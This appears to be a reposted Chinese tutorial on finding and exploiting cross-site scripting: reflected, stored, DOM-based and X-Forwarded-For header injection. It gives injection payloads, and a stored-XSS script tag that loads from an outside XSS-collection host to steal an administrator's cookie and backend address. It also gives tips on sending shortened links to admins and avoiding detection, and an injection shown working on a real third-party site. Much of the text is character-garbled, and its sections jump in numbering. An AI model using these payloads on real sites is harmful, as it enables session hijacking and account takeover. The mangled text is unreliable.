0x01 反射型xss
反射型xss是能挖到的xss中最多的,他的原理如下:
1.黑客發(fā)現(xiàn)了一個存在反射型xss的URL
2.查看源碼根據(jù)輸出環(huán)境構(gòu)造特定的xss代碼,也會進(jìn)行編碼縮短代碼,這個可有可無
3.把構(gòu)造的xss代碼發(fā)送給受害者
4.受害者點(diǎn)擊后執(zhí)行xss代碼
5.完成黑客想要的功能,多是獲取cookie
原理就是這么個原理,現(xiàn)在看一下怎么挖掘:
很多工具都可以掃描出反射型xss,但如果想要更隱蔽,或者是某些系統(tǒng)不允許掃描,這個時候就要手工檢測了,這也是最能練技術(shù)時候,先說一下工具掃描,常見的掃描工具有: Safe3WVS,burpsuite,AWVS,appscan,W3af

比如如下網(wǎng)站:

我們在賬戶輸入處輸入whoami,查看源代碼,按下ctrl+f來搜索:whoami,看出現(xiàn)在哪個位置,來構(gòu)造特定的payload

我么可以構(gòu)造"> <script>alert('XSS')</script>把前面的<input閉合掉,讓它執(zhí)行后面的代碼,構(gòu)造好代碼后把URL變成短鏈接發(fā)送給管理員,管理員點(diǎn)擊打開獲取他的cookie登錄

挖掘反射型xss的方法就是這些,手工也是這個方法,只是需要自己去找存在xss漏洞的網(wǎng)站,手工就一句話:見框就插,改數(shù)據(jù)包中的參數(shù),改URL中的參數(shù),js源代碼分析。
改數(shù)據(jù)包,js源代碼分析比較深就不再細(xì)說了,見框就插就比較好理解了,先在輸入框輸入唯一的字符串,查看源代碼字符串的位置,在輸入 <>""/&()看過濾了什么,根據(jù)過濾的字符來構(gòu)造特定的xss代碼
0x02存儲型xss
存儲型xss和反射型不同的地方在于他會把輸入的數(shù)據(jù)保存在服務(wù)端,反射型輸入的數(shù)據(jù)游走在客戶端
存儲型xss主要存在于留言板評論區(qū),因?yàn)樽罱鼪]有挖到存儲型xss,所以自己寫了一個留言板用來演示:

點(diǎn)擊留言(這里最好不要使用<script>alert("xss")</script>來測試是否存在XSS漏洞,容易被管理員發(fā)現(xiàn),所以你可以使用<a></a>來測試,如果成功了,不會被管理員發(fā)現(xiàn))OK,我先在留言里出輸入<a>s</a>提交留言,F(xiàn)12打開審查元素,來看我們輸入的標(biāo)簽是否被過濾了

發(fā)現(xiàn)沒有過濾(如果<a>s</a>是彩色的說明沒有過濾,如果是灰色就說明過濾了)
那我就在xss平臺里創(chuàng)建一個項(xiàng)目,然后再次留言,里面寫上,“<script src="http://xss8.pw/EFe2Ga?1409273226"></script>我想報名“

只要管理員點(diǎn)擊就會獲取管理員cookie和后臺地址
0x03 DOM XSS
上面兩種都需要服務(wù)端的反饋來構(gòu)造xss,DOM并不需要與服務(wù)端進(jìn)行交互,是基于javascript的,保存如下代碼為123.html
<script>
document.write(document.URL.substring(document.URL.indexOf("a=")+2,document.URL.length));
</script>
在這里我先解釋下上面的意思
Document.write是把里面的內(nèi)容寫到頁面里。
document.URL是獲取URL地址。
Substring 從某處到某處,把之間的內(nèi)容獲取。
document.URL.indexOf("a=")+2是在當(dāng)前URL里從開頭檢索a=字符,然后加2(因?yàn)閍=是兩個字符,我們需要把他略去),同時他也是substring的開始值
document.URL.length是獲取當(dāng)前URL的長度,同時也是substring的結(jié)束值。
合起來的意思就是:在URL獲取a=后面的值,然后把a(bǔ)=后面的值給顯示出來。

怎么會出現(xiàn)這個問題呢?
因?yàn)楫?dāng)前url并沒有a=的字符,而indexOf的特性是,當(dāng)獲取的值里,如果沒有找到自己要檢索的值的話,返回-1。找到了則返回0。那么document.URL.indexOf("a=")則為-1,再加上2,得1。然后一直到URL最后。這樣一來,就把file的f字符給略去了,所以才會出現(xiàn)ile:///C:/Users/Administrator/Desktop/1.html
大致的原理都會了,我們繼續(xù)下面的
我們可以在123 .html,?a=123或則#a=123,只要不影響前面的路徑,而且保證a=出現(xiàn)在URL就可以了。

我們清楚的看到我們輸入的字符被顯示出來了。
那我們輸入<script>alert("xss")</script>會怎么樣呢?
答案肯定是彈窗, 但是,這里沒有彈框,主要是因?yàn)闉g覽器過濾了

0×06 挖掘XSS:
挖掘XSS的技巧很多,各式各樣,我這里就簡要說明下容易出現(xiàn)XSS的地方。
之前說過了修改輸入框和URL參數(shù)來實(shí)現(xiàn)XSS。我在這里深入一點(diǎn)說明下。
修改URL參數(shù)的時候,你看到的只是用GET來傳輸數(shù)據(jù)的,還有隱形的數(shù)據(jù),他們是用POST來傳輸數(shù)據(jù),只有在數(shù)據(jù)包里才可以看到。這里不就闡述了,不懂的可以參考之前我寫的利用方法,GET和POST利用方法幾乎一樣。不清楚POST和GET的可以在0×01 前言里查看下我給出的鏈接。
廢話也不說了,下面進(jìn)入正題。
一:我們都知道當(dāng)你瀏覽網(wǎng)站的時候,對方的服務(wù)器會記錄下你的IP地址。如果我們偽造IP為XSS代碼呢?這里說的修改IP為XSS不是說修改PC端的,而是在瀏覽器也就是網(wǎng)頁上的客戶端進(jìn)行修改。
這里需要使用firefox瀏覽器和兩個附件
附件一:X-Forwarded-For Header
因?yàn)镻HP獲取IP有3個函數(shù)。而X-Forwarded-For Header就是對其中一個函數(shù)X_FORWARDED_FOR起作用,X_FORWARDED_FOR有個缺陷可以使客戶端偽造任意IP,當(dāng)然包括字符串,但是對其他兩個函數(shù)就不行了。
附件二:Modify Headers
Modify Headers可以偽造數(shù)據(jù)包內(nèi)容,當(dāng)然也可以偽造HTTP_CLIENT_IP來更改IP。
那還有一個REMOTE_ADDR獲取IP函數(shù),這個怎么修改呢?答案是無法修改。
REMOTE_ADDR是由 nginx 傳遞給 php 的參數(shù),所以就是當(dāng)前 nginx 直接通信的客戶端的 IP ,而我們無法插手。所以一旦對方使用了REMOTE_ADDR函數(shù)來獲取IP,那就沒辦法了。不過不要緊,一共3個函數(shù),2個函數(shù)可以偽造,我們還是有很大的成功率的。好了,開始偽造。


偽造好后,我們打開www.ip138.com
成功彈窗了。因?yàn)槲以赬-Forwarded-For Header里配置的是<script>alert("xss")</script>。而在Modify Headers配置的是<script>alert("xss2")</script>。也就是說ip138.com使用的是X_FORWARDED_FOR函數(shù)來獲取IP的。但是DZ等著名CMS不存在,他們都過濾了。

參考文章:
web前端黑客技術(shù)揭秘學(xué)習(xí)筆記-XSS漏洞挖掘 - CSDN博客
XSS的原理分析與解剖 - FreeBuf互聯(lián)網(wǎng)安全新媒體平臺 | 關(guān)注黑客與極客
轉(zhuǎn)載小鳥大佬
原貼鏈接:https://zhuanlan.zhihu.com/p/35315167